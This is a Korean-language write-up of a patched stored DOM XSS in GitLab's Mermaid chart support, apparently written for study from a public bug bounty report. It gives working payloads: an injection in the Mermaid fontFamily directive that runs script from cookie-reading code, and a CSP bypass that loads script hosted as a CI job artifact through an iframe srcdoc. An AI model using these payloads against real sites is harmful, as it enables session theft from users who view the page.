본문 바로가기

1-day 취약점 분석

[ 1-Day ] Stored DOM XSS via Mermaid chart

본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다. 

-분석 레포트-

https://hackerone.com/reports/1103258 

 

Prologue

 

깃랩은 사용자가 텍스트로부터 다이어그램과 순서도를 생성할 수 있도록, GFM의 일부로 Mermaid를 지원한다. 버전 xxx에서는 다이어그램에 적용된 스타일(테마)에 대한 더 많은 제어 기능을 추가하기 위해 지시어 지원이 추가되었다. 

지시어를 선언하는 구문은 %%{init:{<json_object>}}%% 이다. 지시어를 사용하여 fontFamily 또는 fontSize와 같은 기본 테마 속성을 그래프에 덮어쓸 수 있다. 백그라운드에서 라이브러리는 지시어에서 JSON_OBJECT를 가져와 구성 객체와 병합한다. 나중에 해당 구성은 새 CSS 규칙을 생성하는데 사용된다. 

 

  let userStyles = '';
  // user provided theme CSS
  if (cnf.themeCSS !== undefined) {
    userStyles += `\n${cnf.themeCSS}`;
  }
  // user provided theme CSS
  if (cnf.fontFamily !== undefined) {
    userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`;
  }
  // user provided theme CSS
  if (cnf.altFontFamily !== undefined) {
    userStyles += `\n:root { --mermaid-alt-font-family: ${cnf.altFontFamily}}`;
  }

 

vulnerability description

 

사용자가 제공한 값은 나중에 innerHTML 메서드를 통해 스타일 태그에 추가되는데, 이 값에 대한 살균 처리가 없다. 

 

  const stylis = new Stylis();
  const rules = stylis(`#${id}`, getStyles(graphType, userStyles, cnf.themeVariables));

  const style1 = document.createElement('style');
  style1.innerHTML = rules;
  svg.insertBefore(style1, firstChild);

 

아래 지시문을 통해 XSS 취약점으로 이어질 수 있다. 

 

%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%

 

Steps to Reproduce

 

1. issue를 레포지토리에 생성한다. 

2. 아래 payload를 통해 mermaid diagram을 생성한다. 

%%{init: { 'fontFamily': '\"></style><img src=x onerror=alert(document.cookie)>'} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

 

3. 해당 issue가 있는 페이지를 사용자가 열 때마다, xss가 트리거 될 것이다. 

 

그림 1

 

위 그림 1을 통해 CSP 에러가 발생한 것을 볼 수 있다. 

 

위 CSP를 우회하는 방법은 아래와 같다. payload가 내부 HTML을 통해 <style> 태그에 삽입되기 때문에 난이도가 있지만, XSS 공격을 수행하는 데 필요한 모든 단계를 설명해본다. 우선, 실행하고자 하는 JS 코드를 gitlab.com 에 저장해놔야 한다. 또한 응답에 유효한 컨텐츠 타입 ( application/javascript )이 반환되어야 한다. 이는 CI/CD 작업 아티팩트를 사용하여 달성할 수 있다. 

 

1. 먼저 새로운 project를 생성한다. 

2. victim의 브라우저에서 생성될 payload.js 파일을 생성한다. [ alert(document.cookie) ]

3. 아래 content로 gitlab-ci.yml 파일을 생성한다. 

js:
  script: "echo test"
  artifacts:
    paths:
    - payload.js
    expire_in: 4 week
    
    
 << 위 yml은 아래와 같이 해석된다. >>

js : 는 javascript 프로젝트의 빌드 및 스크립트 실행을 정의한다.
script : 이 단계에서는 실행할 스크립트 또는 명령을 지정한다. 여기서는 test를 출력하는 스크립트를 실행한다. 
artifacts : 빌드 결과물에 대한 설정이다. 
paths : 생성된 파일 중 저장할 파일 경로를 지정하는데, 여기서는 payload.js 파일이 저장될 것이다. 
expire_in : 4주동안 보존됨을 의미한다.

 

Gitlab CI가 트리거되고, 작업 아티팩트가 생성된다. 

 

4. Gitlab CI가 작업을 완료하는 동안 잠시 기다렸다가 "CI/CD" -> "작업" -> 최신 작업 -> 작업 아티팩트로 이동한다. 

gitlab.com/<user>/csp/-/jobs/<job_id>/artifacts/raw/payload.js 이와 같이 payload.js를 다운로드 할 수 있는 링크가 표시된다.  

5. 위 3단계의 스크립트를 사용하여 CSP를 우회할 수 있으므로, gitlab.com에서 스크립트를 포함할 수 있다. 스크립트를 동적으로 포함하려면 srcodc 속성과 함께 iframe을 사용하면 된다. 

 

<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"&lt;script src=https://gitlab.com/<user>/asdf/-/jobs/<job_id>/artifacts/raw/payload.js&gt; &lt;/script&gt;\">

 

그러나 페이로드가 내부 HTML을 통해 <style> 태그에 삽입되므로 브라우저는 iframe을 구문 분석하지 않아 스크립트가 포함되지 않는다. 아래 payload에서 볼 수 있듯이 <title>태그를 추가하니 스크립트가 작동하는 것을 확인가능했다. 

( 그 이유는 잘 모르겠습니다.. 제보자도 근본 원인은 모르겠다고 기재하긴 했습니다... )

%%{init: { 'fontFamily': '<title><iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"&lt;script src=https://gitlab.com/bugbountyuser1/csp/-/jobs/1030502035/artifacts/raw/payload.js&gt; &lt;/script&gt;\">'} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

 

그림 2

 

 

대응

 

Mermaid의 업그레이드 및 GitLab 버전 13.11.2 패치로 완화조치 되었다.